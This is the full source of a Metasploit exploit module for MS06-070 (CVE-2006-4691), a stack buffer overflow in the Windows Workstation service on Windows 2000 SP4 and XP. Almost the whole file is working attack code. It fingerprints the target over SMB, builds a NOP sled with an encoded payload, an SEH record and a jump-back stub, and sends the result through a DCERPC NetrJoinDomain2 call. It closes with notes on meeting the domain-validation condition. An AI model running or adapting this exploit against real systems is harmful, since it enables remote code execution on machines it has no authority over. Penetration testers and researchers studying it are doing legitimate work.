Path: blob/master/modules/exploits/windows/smb/ms06_070_wkssvc.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking # Requires valid/working DOMAIN + DC78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client10include Msf::Exploit::Seh1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow',17'Description' => %q{18This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect19function using the Workstation service in Windows 2000 SP4 and Windows XP SP2.2021In order to exploit this vulnerability, you must specify the name of a22valid Windows DOMAIN. It may be possible to satisfy this condition by using23a custom DNS and LDAP setup, however that method is not covered here.2425Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator26credentials are required to reach the vulnerable code. Windows XP SP1 only27requires valid user credentials. Also, testing shows that a machine already28joined to a domain is not exploitable.29},30'Author' => [31'jduck'32],33'License' => MSF_LICENSE,34'References' => [35[ 'CVE', '2006-4691' ],36[ 'OSVDB', '30263' ],37[ 'BID', '20985' ],38[ 'MSB', 'MS06-070' ],39],40'DefaultOptions' => {41'EXITFUNC' => 'thread',42},43'Privileged' => true,44'Payload' => {45'Space' => 1024,46'BadChars' => "\x00",47'StackAdjustment' => -3500,48},49'Platform' => 'win',50'Targets' => [51[ 'Automatic Targetting', {} ],52[53'Windows 2000 SP4',54{55'Offset' => (1058 * 2),56'Ret' => 0x75022ac4 # pop/pop/ret in ws2help.dll57}58],59[60'Windows XP SP0/SP1',61{62'Offset' => (1290 * 2),63'Ret' => 0x71ab21cd # pop/pop/ret in ws2_32.dll64}65]66],67'DefaultTarget' => 0,68'DisclosureDate' => '2006-11-14',69'Notes' => {70'Reliability' => UNKNOWN_RELIABILITY,71'Stability' => UNKNOWN_STABILITY,72'SideEffects' => UNKNOWN_SIDE_EFFECTS73}74)75)7677register_options(78[79OptString.new('SMBPIPE', [ true, "The pipe name to use.", 'WKSSVC']),80# NOTE: a valid domain name is required. See description.81OptString.new('DOMAIN', [ true, "The domain to validate prior to joining it."])82]83)8485deregister_options('SMB::ProtocolVersion')86end8788def exploit89connect(versions: [1])90smb_login()9192mytarget = nil93if (target.name =~ /Automatic/)94case smb_peer_os()95when 'Windows 5.0'96print_status("Detected a Windows 2000 target")97mytarget = targets[1]98when 'Windows 5.1'99begin100smb_create("\\SRVSVC")101print_status("Detected a Windows XP SP0/SP1 target")102rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e103if (e.error_code == 0xc0000022)104fail_with(Failure::Unknown, "Windows XP SP2 requires Administrator privileges!")105end106print_status("Detected a Windows XP target (unknown patch level)")107end108mytarget = targets[2]109else110fail_with(Failure::NoTarget, "No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")111end112else113mytarget = target114end115116handle = dcerpc_handle(117'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',118'ncacn_np', ["\\#{datastore['SMBPIPE']}"]119)120121print_status("Binding to #{handle} ...")122dcerpc_bind(handle)123print_status("Bound to #{handle} ...")124125print_status("Building the stub data...")126127distance = mytarget['Offset']128hostname = make_nops(distance - payload.encoded.length)129hostname << payload.encoded130hostname << generate_seh_record(mytarget.ret)131hostname << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string132133name = datastore['DOMAIN'] + "\\\\L"134name = Rex::Text.to_unicode(name)135name << hostname136name << Rex::Text.to_unicode(rand_text_alphanumeric(1000) * 3)137name << "\x00\x00"138139stub =140NDR.uwstring("\\\\#{datastore['RHOST']}") +141NDR.UnicodeConformantVaryingStringPreBuilt(name) +142NDR.uwstring("") +143NDR.uwstring("") +144NDR.long(0) +145NDR.long(1)146147print_status("Calling the vulnerable function...")148149begin150dcerpc.call(0x16, stub)151rescue Rex::Proto::DCERPC::Exceptions::NoResponse152rescue => e153if e.to_s !~ /STATUS_PIPE_DISCONNECTED/154raise e155end156end157158# Cleanup159handler160disconnect161end162end163164=begin165166The IDL for NetrJoinDomain2 looks like this:167long _NetrJoinDomain2@28 (168[in][unique][string] wchar_t * arg_1,169[in][string] wchar_t * arg_2,170[in][unique][string] wchar_t * arg_3,171[in][unique][string] wchar_t * arg_4,172[in][unique] struct_C * arg_5,173[in] long arg_6174);1751761771. --> dns server - query for IN.SRV _ldap._tcp.dc._msdcs.DOMAIN1782. <-- dns server - response including answer and additional record.179answer: whateverserver.DOMAIN priority 0 / weight 100 / port 389180additional: IN.A address of whateverserver.DOMAIN1813. --> ldap server - baseObject query with filter/attributes:182- filter: (&(&(DnsDomain=DOMAIN)(Host=TARGETHOSTNAME))(NtVer=06:00:00:00))183- attributes: AttributeDescriptionList: NetLogon1844. <-- ldap server - searchResDone success, attributes data185- PartialAttributeList netlogon - 1 item186- type 23, flags 0x1fd, domain GUID,187forest, domain, hostname, netbios domain, netbios hostname,188user, site, client site, version, lmtoken, nttoken1895. validated.190191=end192193194